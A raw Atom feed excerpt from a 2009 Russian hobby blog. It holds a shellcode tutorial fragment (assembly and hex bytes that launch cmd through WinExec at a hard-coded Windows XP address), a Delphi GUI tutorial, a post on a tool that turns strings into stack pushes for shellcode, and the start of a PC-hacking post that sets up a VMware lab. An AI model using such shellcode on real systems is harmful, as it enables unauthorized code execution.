style="color:#3333ff;"&gt;&lt;strong&gt;PUSH&lt;/strong&gt;&lt;/span&gt; 646D63   &lt;span style="font-style:italic;"&gt;        ;заталкиваем 'cmd' в стек&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;&lt;strong&gt;POP&lt;/strong&gt;&lt;/span&gt; EAX                &lt;span style="font-style:italic;"&gt;        ;выталкиваем в eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;&lt;strong&gt;MOV&lt;/strong&gt;&lt;/span&gt; DWORD PTR DS:[40F9C3],EAX &lt;span style="font-style:italic;"&gt;;копируем содержимое eax по - адресу 40F9C3, теперь там строка cmd&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#3333ff;"&gt;PUSH&lt;/span&gt;&lt;/strong&gt; 40F9C3           &lt;span style="font-style:italic;"&gt;;заталкиваем в стек указатель на cmd&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#3333ff;"&gt;CALL&lt;/span&gt;&lt;/strong&gt; 7C86136D &lt;span style="font-style:italic;"&gt;       ;вызываем функцию WinExec&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;hex:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;68 63 6D 64 00 58 A3 C3 F9 40 00 68 C3 F9 40 00 E8 3B 1A 45 7C E9 50 98 FF FF&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;ascii:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;#104+#99+#109+#100+#0+#88+#163+#195+#249+#64&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;+#0+#104+#195&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;+#249+#64+#0+#232+#59&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;+#26+#69+#124+#233+#80+#152+#255+#255&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-2123601470957997601?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/2123601470957997601/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/chellcode-for-windows-nt.html#comment-form' title='Комментарии: 6'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2123601470957997601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2123601470957997601'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/chellcode-for-windows-nt.html' title='Shellcode for Windows NT'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1363450482397384916</id><published>2009-05-05T13:09:00.009+04:00</published><updated>2009-05-06T13:31:05.161+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Визуализация в delphi.</title><content type='html'>&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;Визуализация в delphi.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;Прежде чем начать, повествование, небольшое введение....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Немного об объектах.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Объекты, можно сказать, берут своё начало с процедур и функций, которые существуют с древних времен, когда накопилось множество этих самых процедур и функции(а это есть некая обособленная от основной программы, подпрограмма, которой передаются некоторые параметры и собственно подпрограмма с ними работает и выдает результат, такой подход позволяет сэкономить время на отладке, а в особо больших программах, где некоторая подпрограмма вызывается несколько раз, да еще и с разными параметрами позволяет уменьшить общий вес программы, во общем не жизнь, а сказка. Так вот когда процедур накопилось огромное количество, лучшие умы сели думать: «Как бы нам, так извратится и обьеденить все наши наработки в единое целое». Да, примерно так и зародилась концепция ООП: «Весь мир объекты» - разнеслось по миру, это можно было считать, новым этапом в развитие языков программирования высокого уровня. Итак, объекты -это объекты в прямом смысле, у любого объекта есть свойства, вы смотрите на небо — оно голубое, это одно из свойств объекта небо, также у объектов есть методы, они позволяют при определенном событие, менять свойства объекта, например ночью небо темное, результат события — вращения земли вокруг своей оси. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Ближе к делу.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Теперь открываем Delphi, создаем новый проект, обычную форму, смотрим на панель инструментов — первая вкладка там, Standard она дает очень мало возможностей по украшению нашей программы, но все же нужна нам, на то она и стандартная, дальше идет вкладка Additional, после Win32, как ни странно их нам будет достаточно, главное правильно совместить между собой несколько компонентов...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Создание красивых Button'ов.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Переносим на форму компонент ToolBar с вкладки Win32, теперь нужно поменять свойство align с alTop на alNone, для этого в object inspector, на вкладке Propeties, ищем наше свойство и меняем на нужное, теперь можем перемещать компонент без проблем по форме. Правой кнопкой мыши кликаем и в контекстном меню выбираем &lt;br /&gt;New button, у нас появилась одна кнопка, можем увеличить или уменьшить ее, либо растянув с помощью мыши либо изменив свойство width (ширина) и height (высота), на нужные, также любое свойство можно менять в коде, причем многократно...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;form1.ToolBar1.width:=50;&lt;br /&gt;form1.ToolBar1.height:=50;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Можно также изменить, надпись на кнопке, свойство Caption, еще раз повторю, что любое свойство можно менять прямо в коде:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;form1.ToolBar1.caption:='Button';&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;Значит, дальше поставим красивую иконку на кнопку (можно нарисовать свою или скачать с интернета), кстати заметьте, (панель Structure) что после создания кнопки появился новый объект ToolButton1 принадлежащий ToolBar1, вот такая иерархия, так что некоторые свойства ToolBar1, будут влиять и на ToolButton1, и на остальные созданные кнопки, мы собрались поставить на кнопку картинку для этого нам понадобится еще один компонент ImageList с той же вкладки (Win32), из названия не трудно догадаться, что он предназначен для загрузки большого количества изображений, как вы успели заметить у него не очень много свойств, вначале поменяем ширину и высоту с 16 на 32, width и height, теперь два раза кликаем по компоненту, жмем ADD, и выбираем нужное изображение, видим что под нашей картинкой сразу появился индекс — 0, запомним его... Нажимайте OK.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SgADVpumBhI/AAAAAAAAAEM/1LUyKqT-oXc/s1600-h/1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 231px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SgADVpumBhI/AAAAAAAAAEM/1LUyKqT-oXc/s400/1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5332265629320087058" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Выделяем ToolBar1, ищем свойство Images, и выбираем наш ImageList1, видим на кнопке появилось изображение, если нет - выделяем ToolButton1, и меняем свойство ImageIndex, на 0, надеюсь теперь все поняли зачем нужны эти индексы, поменяем фон кнопки на белый — выделяйте ToolBar1 и меняем свойство DrawingStyle на dsGradient, затем свойствам GradientEndColor и GradientStartColor присваиваем значения clMenu, есть еще свойство HotTrackColor, при направлении на кнопку курсором мыши, оно выделяет ее определенным цветом я выбрал clYellow&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Во общем поэкспериментируйте, с разными свойствами, посмотрите, на что они влияют и все будет супер...&lt;br /&gt;&lt;br /&gt;Теперь самостоятельно загрузите еще несколько картинок в ImageList1, создайте пару новых кнопок, также измените цвет формы (по вкусу, а не как зря), ее заголовок (свойство Caption), добавьте разделители между кнопками (New separator), также ToolBar1, можно поставить на Panel с вкладки Standard. Поставьте иконку&lt;br /&gt;зажмите Shift+Ctrl+F11, после перейдите на вкладку Application =&gt; LoadIcon и выберете нужную.&lt;br /&gt;&lt;br /&gt;Есть еще куча способов создать красивые кнопки, но до этого вы сами дойдете с накопление опыта.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Подсказки.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Если у вас на кнопке нет текста, то нужны подсказки чтобы пользователь понял, для чего они вообще нужны, обычно за подсказки отвечает свойство hint, но я не склоняюсь к его использованию, предпочитая обычный label, итак переносим на форму label и меняем цвет текста (свойство font) на синий...&lt;br /&gt;&lt;br /&gt;А свойство &lt;span style="font-weight:bold;"&gt;Caption&lt;/span&gt;, очищаем.&lt;br /&gt;&lt;br /&gt;Теперь переходим к событиям &lt;span style="font-weight:bold;"&gt;object inspector =&gt; Event&lt;/span&gt;, тут есть много разных событий но нам нужно только одно, когда курсором мышки мы наводим на кнопку. Выделяем ToolButton1 и выбираем событие OnMouseEnter два раза щелкаем по пустому полю, у нас появляется обработчик события MouseEnter&lt;br /&gt;&lt;br /&gt;Набирайте в обработчике события следующий код:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;procedure TForm12.ToolButton1MouseEnter(Sender: TObject);&lt;br /&gt;begin&lt;br /&gt;label1.caption:='Кнопка#1';&lt;br /&gt;end;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Запускаете проект наводите на кнопку курсор и смотрите, что у вас получилось. Делайте тоже самое для остальных кнопок и для формы тоже. Для формы присвойте label “пустоту“.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;label1.caption:='';&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;Прозрачное окно.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Чтобы сделать свое окно прозрачным или полупрозрачным, нужно установить свойство AlphaBiend равным true, и мы сможем регулировать прозрачность формы с помощью свойства AlphaBiendVaiue.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/SgAEmtPFV4I/AAAAAAAAAEU/C9CnTFFHX1Y/s1600-h/4.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 308px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/SgAEmtPFV4I/AAAAAAAAAEU/C9CnTFFHX1Y/s400/4.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5332267021831067522" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Что - бы создать дочернее окно — создаете новую форму, ставите кнопку на главную, и в обработчике щелчка мыши пишете:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;form2.show;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Delphi&lt;/span&gt; отметит как ошибку, но не обращайте внимания — компилируйте.&lt;br /&gt;&lt;br /&gt;Вот и все на сегодня, спасибо за внимание.&lt;br /&gt;&lt;br /&gt;Удачи!&lt;br /&gt;&lt;br /&gt;2.04.09&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;(с)Kerny&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://ifolder.ru/11820615&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1363450482397384916?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1363450482397384916/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/delphi.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1363450482397384916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1363450482397384916'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/delphi.html' title='Визуализация в delphi.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/SgADVpumBhI/AAAAAAAAAEM/1LUyKqT-oXc/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-347632390301186857</id><published>2009-03-17T15:19:00.004+03:00</published><updated>2009-07-05T13:54:03.373+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>Converter of Hacker</title><content type='html'>&lt;span style="color:#ff0000;"&gt;&lt;span style="font-weight:bold;"&gt;Примечание:  &lt;/span&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/06/converter-of-hacker.html"&gt;версия 1.1 Full&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Привет, сегодня мы разберем функционал программы &lt;span style="font-weight:bold;"&gt;Converter of Hacker.&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;Converter of Hacker&lt;/span&gt; - программа позволяющая редактировать текст по маскам, пока существует лишь пять масок, но при успешном их комбинировании, возможности существенно возрастают, есть еще и конвертер, можно получать acsii и hex коды символов.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sb-aeunGI2I/AAAAAAAAAC0/l8w4baPUzMA/s1600-h/1.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 342px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sb-aeunGI2I/AAAAAAAAAC0/l8w4baPUzMA/s400/1.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5314135938019238754" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Сверху вниз - наоборот&lt;/span&gt;, просто в каждой строке, все символы принимают обратный порядок.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sb-cGyIFMKI/AAAAAAAAAC8/sEWVtmIOco8/s1600-h/2.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 252px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sb-cGyIFMKI/AAAAAAAAAC8/sEWVtmIOco8/s400/2.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5314137725669290146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Снизу вверх - наоборот&lt;/span&gt;,строки и символы принимают обратный порядок, тоесть первая строка стала последней, вторая предпоследней и т.п&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sb-c25qi_0I/AAAAAAAAADE/U1TB0TwNcvo/s1600-h/3.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 252px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sb-c25qi_0I/AAAAAAAAADE/U1TB0TwNcvo/s400/3.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5314138552326618946" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Удалить символ&lt;/span&gt; - удаляет любой указанный символ.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;С переносом&lt;/span&gt; - строка наоборот, но сгрупированна по указанному кол-ву  символов&lt;br /&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;123456&lt;/span&gt;&lt;/p&gt;&lt;p&gt;станет:&lt;br /&gt;&lt;/p&gt;&lt;span style="font-weight:bold;"&gt;563412&lt;/span&gt;&lt;br /&gt;&lt;p&gt;Это в случае группировки по 2 символа.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sb-kVA2_skI/AAAAAAAAADU/gNyHr49yyng/s1600-h/5.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 253px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sb-kVA2_skI/AAAAAAAAADU/gNyHr49yyng/s400/5.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5314146766235349570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;Распределить&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Это не совсем маска, например вы пишите шел-код у вас есть строка, которую нужно сохранить в памяти, поскольку ваш код будет выполняться в чужой программе, то не будет зарезирвированно значений для вашех переменных, тогда есть один выход, помещать значения в стек, но в стек можно втолкнуть за раз лишь 4 байта, а если строка слишком длинная? и вручную разбивать ее на байты очень долго, за вас это сделает эта маска. Тут как раз можно рассмотреть пример, совместной работы масок, например есть строка &lt;/p&gt;&lt;span style="font-weight:bold;"&gt;C:\WINDOWS\Driver Cache&lt;/span&gt; &lt;p&gt;ее нужно запихнуть в стек&lt;br /&gt;&lt;/p&gt;переводим строку в &lt;span style="font-weight:bold;"&gt;hex&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;43 3A 5C 57 49 4E 44 4F 57 53 5C 44 72 69 76 65 72 20 43 61 63 68 65&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Далее удалям все пробелы, тоже с помощью маски &lt;span style="font-weight:bold;"&gt;Удалить символ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;433A5C57494E444F57535C447269766572204361636865 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Затем применяем маску - С  переносом по [n], у нас &lt;span style="font-weight:bold;"&gt;n=2&lt;/span&gt;, это значит будем переность по два символа сразу, получим&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6568636143207265766972445C53574F444E49575C3A43&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Теперь применим маску распределения, и наконец получим&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;strong&gt;push 065686361h&lt;br /&gt;push 043207265h&lt;br /&gt;push 076697244h&lt;br /&gt;push 05C53574Fh&lt;br /&gt;push 0444E4957h&lt;br /&gt;push 0005C3A43h&lt;/strong&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sb-fOGaGlGI/AAAAAAAAADM/8m43hk86OYU/s1600-h/4.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 252px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sb-fOGaGlGI/AAAAAAAAADM/8m43hk86OYU/s400/4.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5314141149907555426" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Скоро выложу исходники, и разберу каждую из процедур программы.&lt;br /&gt;&lt;br /&gt;С вами был &lt;strong&gt;Kerny&lt;/strong&gt;, удачи!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Скачать программу&lt;/span&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/11095196" target="_blank"&gt;&lt;img src="http://ifolder.ru/images/download_1.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-347632390301186857?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/347632390301186857/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/03/converter-of-hacker.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/347632390301186857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/347632390301186857'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/03/converter-of-hacker.html' title='Converter of Hacker'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oxXdxKIGwp0/Sb-aeunGI2I/AAAAAAAAAC0/l8w4baPUzMA/s72-c/1.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6384833672791476517</id><published>2009-03-05T18:00:00.008+03:00</published><updated>2009-10-07T13:54:04.730+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Взлом'/><title type='text'>ВЗЛОМ ПК, под управлением Windows.</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;strong&gt;КЛАССИФИКАЦИЯ АТАК.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.re.mipt.ru/infsec/2004/essay/2004_Vulnerabilities_of_TCP_IP_and_attacks__Andreev.pdf"&gt;Атаки на протокол&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ru.wikipedia.org/wiki/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C_%28%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%8F_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C%29"&gt;Атаки на ПО&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D0%B6%D0%B5%D0%BD%D0%B5%D1%80%D0%B8%D1%8F"&gt;Атаки на пользователя&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;ПОЛИГОН ДЛЯ ИСПЫТАНИЙ.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Необходимый софт:&lt;/strong&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;&lt;em&gt;Любой дистрибьютив  Windows XP (SP2,SP3 )&lt;br /&gt;Виртуальная машина Vmware.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Итак, нам нужно где-то законно, развивать свои навыки, для этого создадим виртуальную машину и установим на нее так любимый пользователями Windows, надеюсь все уже скачали виртуальную машину Vmware, устанавливаем и открываем.&lt;br /&gt;&lt;br /&gt;Создаем новую машину в Vmware, для этого зажимаем &lt;strong&gt;CTRL+N&lt;/strong&gt;,  и следум инструкциям, там все интуитивно понятно. Теперь идем в  &lt;strong&gt;Edit =&gt; Virtual Network Setting&lt;/strong&gt; и переходим на вкладку &lt;strong&gt;Host Virtual Adapter&lt;/strong&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt;                                                                                                                                                            &lt;/p&gt;&lt;p style="text-align: justify;"&gt;    &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_sPqVgrSI/AAAAAAAAABU/mbkjmgkOPZw/s320/4.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 262px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_sPqVgrSI/AAAAAAAAABU/mbkjmgkOPZw/s320/4.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Нажимаем add  и создаем нужное количество виртуальных адаптеров. Затем идем в DHCP и удаляем от туда все адаптеры кроме, Wmnet1 и Wmnet8. Тут можно  нажать Принять и ОК, или же сходить в Host Virtual Network Mapping и настроить каждому адаптеру свой ip, если  этого не сделать, то они будут назначенны автоматически.&lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sa_sYkHlZUI/AAAAAAAAABc/qjfM2pZ377g/s320/6.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 259px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sa_sYkHlZUI/AAAAAAAAABc/qjfM2pZ377g/s320/6.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Заходим в настройки виртуальной манины &lt;strong&gt;CTR+D&lt;/strong&gt;, переходим на вкладку &lt;strong&gt;Enternet&lt;/strong&gt;,  выбираем &lt;strong&gt;Custop Specifnc: virtual network&lt;/strong&gt; и назначаем любой понравившейся интерфейс, конечно, кроме  &lt;strong&gt;Wmnet1&lt;/strong&gt; и &lt;strong&gt;Wmnet8&lt;/strong&gt;, я выбрал &lt;strong&gt;Vmnet2&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_tAviI_NI/AAAAAAAAABk/9KgaPlft3Vg/s320/7.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_tAviI_NI/AAAAAAAAABk/9KgaPlft3Vg/s320/7.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Теперь переходим к CD-ROM, ставим галочку на Use ISO image, жмем обзор и выбираем образ с которого будем устанавливать  Windows, мы также можем установить его с диска отметив Use physical drive, и выбрав соответствующий привод.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sa_tPG8Z0HI/AAAAAAAAABs/VhLjeTEXL3U/s320/8.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 244px;" 